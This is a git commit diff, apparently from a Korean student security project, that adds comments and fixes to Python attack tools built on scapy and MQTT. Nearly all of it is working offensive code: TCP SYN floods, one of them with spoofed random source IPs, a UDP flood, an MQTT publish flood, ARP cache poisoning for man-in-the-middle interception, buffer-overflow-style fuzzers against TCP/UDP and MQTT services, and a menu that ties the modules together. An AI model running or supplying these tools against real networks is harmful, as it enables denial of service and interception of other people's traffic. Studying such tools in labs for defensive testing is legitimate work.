이한솔

면담확인서 추가 및 코드 수정

No preview for this file type
from scapy.all import IP, TCP, send, RandShort
def icmp_flood(targetIP, targetPORT):
packet = IP(dst=targetIP) / TCP(
dport=targetPORT, flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort()
)
for i in range(4):
packet = IP(dst=targetIP)/TCP(dport=targetPORT, flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort())
# 출발지 포트는 random
for _ in range(4):
try:
send(packet, verbose=False)
except Exception as e:
print(f"Error while sending 'ICMP'\n{e}")
else:
print(f"ICMP packet send to {targetIP}")
......
......@@ -13,9 +13,13 @@ def mqtt_publish_flood(mqtt_server_IP, mqtt_server_PORT, topic):
client.connect(mqtt_server_IP, mqtt_server_PORT)
client.loop_start()
for i in range(10000):
for _ in range(10000):
# 무작위 메세지 생성
message = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(50))
client.publish(topic, message, retain=True)
client.publish(topic, message, retain=True) # 발행
print(f"Sent message {message}")
client.loop_stop()
client.disconnect()
......
import random
from scapy.all import IP, TCP, send
# 무작위 IP 생성
def random_IP():
ip = []
for _ in range(0, 4):
......@@ -9,10 +10,10 @@ def random_IP():
def syn_flood(targetIP, targetPORT):
IP_Packet = IP()
IP_Packet.src = random_IP()
IP_Packet.src = random_IP() # IP Spoofing
IP_Packet.dst = targetIP
TCP_Packet = TCP()
TCP_Packet = TCP() # SYN은 TCP 헤더의 플래그 비트이므로
TCP_Packet.sport = random.randint(1000, 10000)
TCP_Packet.dport = targetPORT
TCP_Packet.flags = "S"
......@@ -26,3 +27,19 @@ def syn_flood(targetIP, targetPORT):
print(f"Error while sending SYN packet\n{e}")
else:
print(f"SYN packet sent to {'{}:{}'.format(targetIP, targetPORT)}.")
"""
flags = {
'F': 'FIN',
'S': 'SYN',
'R': 'RST',
'P': 'PSH',
'A': 'ACK',
'U': 'URG',
'E': 'ECE',
'C': 'CWR',
}
"""
\ No newline at end of file
......
......@@ -12,3 +12,5 @@ def udp_flood(targetIP, targetPORT):
print(f"Error while sending UDP packet\n{e}")
else:
print(f"UDP random packet sent! Payload size: {len(payload)}. ")
......
......@@ -4,15 +4,18 @@ import sys
import signal
def originalMAC(ip):
# ARP Ping method
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
for s,r in ans:
# answer, unanswered
for s,r in ans: #sent, received
return r[Ether].src
def poison(routerIP, targetIP, routerMAC, targetMAC):
def poison(routerIP, targetIP, routerMAC, targetMAC): # APR를 spoof
send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC))
send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC))
def restore(routerIP, targetIP, routerMAC, targetMAC):
def restore(routerIP, targetIP, routerMAC, targetMAC): #다시 정상패킷 보내서 되돌리기
send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3)
send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
......@@ -31,3 +34,5 @@ def arp_spoofing(routerIP, targetIP):
while 1:
poison(routerIP, targetIP, routerMAC, targetMAC)
......
......@@ -13,7 +13,7 @@ def fuzzy_attack(method, targetIP, targetPORT):
sock.close()
elif method == "tcp":
sock = socket.socket()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((targetIP, targetPORT))
for x in range(4, 100000, 4):
message = command + b"A" * x
......@@ -22,3 +22,6 @@ def fuzzy_attack(method, targetIP, targetPORT):
resp = sock.recv(4096)
print("Response Received:", resp)
sock.close()
\ No newline at end of file
......
......@@ -17,5 +17,8 @@ def mqtt_ramdom_payload_fuzzy(mqtt_server_IP, mqtt_server_PORT, topic):
payload = "".join([chr(random.randint(1, 127)) for _ in range(i)])
print(f"Sent Payload {len(payload)} bytes")
client.publish(topic, payload)
client.loop_stop()
client.disconnect()
......
from dos.icmp import *
from dos.mqtt import *
from dos.syn import *
from dos.udp import *
from DoS.icmp import *
from DoS.mqtt import *
from DoS.syn import *
from DoS.udp import *
from fuzzy_attack.fuzzy_attack import *
from fuzzy_attack.mqtt_random_payload_fuzzy import *
from spoofing.arp import *
from Spoofing.arp import *
def printDOSMenu():
print("Choose Protocol")
......